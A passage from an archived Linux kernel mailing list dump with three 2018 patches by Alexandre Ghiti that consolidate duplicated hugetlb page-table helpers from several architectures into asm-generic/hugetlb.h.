        Thu, 5 Jul 2018 07:11:27 -0400
Original-Received: from relay12.mail.gandi.net ([217.70.178.232]:53659 "EHLO
        relay12.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753464AbeGELLZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:11:25 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay12.mail.gandi.net (Postfix) with ESMTPSA id 724FB200005;
        Thu,  5 Jul 2018 11:11:15 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812286 gmane.linux.ports.arm.kernel:660989 gmane.linux.ports.ia64:28914 gmane.linux.ports.mips.general:65304 gmane.linux.ports.parisc:28766 gmane.linux.ports.ppc64.devel:159715 gmane.linux.ports.sh.devel:57187 gmane.linux.ports.sparc:28089 gmane.linux.kernel.cross-arch:45038
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812286>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index a7d5c739df9b..0794b53439d4 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 996ce8e15365..554d5614b375 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 04/11] hugetlb: Introduce generic version of huge_ptep_get_and_clear
Date: Thu,  5 Jul 2018 11:07:09 +0000
Lines: 167
Approved: news@gmane.org
Message-ID: <20180705110716.3919-5-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789034 26841 195.159.176.226 (5 Jul 2018 11:10:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:10:34 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:10:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb29a-0005Xs-61
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:10:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753768AbeGELMf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:12:35 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:52499 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753409AbeGELMd (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:12:33 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id C740C24000E;
        Thu,  5 Jul 2018 11:12:22 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812287 gmane.linux.ports.arm.kernel:660990 gmane.linux.ports.ia64:28915 gmane.linux.ports.mips.general:65305 gmane.linux.ports.parisc:28767 gmane.linux.ports.ppc64.devel:159716 gmane.linux.ports.sh.devel:57188 gmane.linux.ports.sparc:28090 gmane.linux.kernel.cross-arch:45039
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812287>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 0794b53439d4..970101cf9c82 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 554d5614b375..48b8d9b13cc6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Thu,  5 Jul 2018 11:07:10 +0000
Lines: 157
Approved: news@gmane.org
Message-ID: <20180705110716.3919-6-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789108 32549 195.159.176.226 (5 Jul 2018 11:11:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:11:48 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:11:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2Am-0008I4-Cj
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:11:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753895AbeGELNp (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:13:45 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:42457 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753518AbeGELNm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:13:42 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 298FC1BF214;
        Thu,  5 Jul 2018 11:13:30 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812289 gmane.linux.ports.arm.kernel:660992 gmane.linux.ports.ia64:28916 gmane.linux.ports.mips.general:65306 gmane.linux.ports.parisc:28768 gmane.linux.ports.ppc64.devel:159717 gmane.linux.ports.sh.devel:57189 gmane.linux.ports.sparc:28091 gmane.linux.kernel.cross-arch:45040
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812289>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 970101cf9c82..0b02856aa85b 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 48b8d9b13cc6..8347d5abf882 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
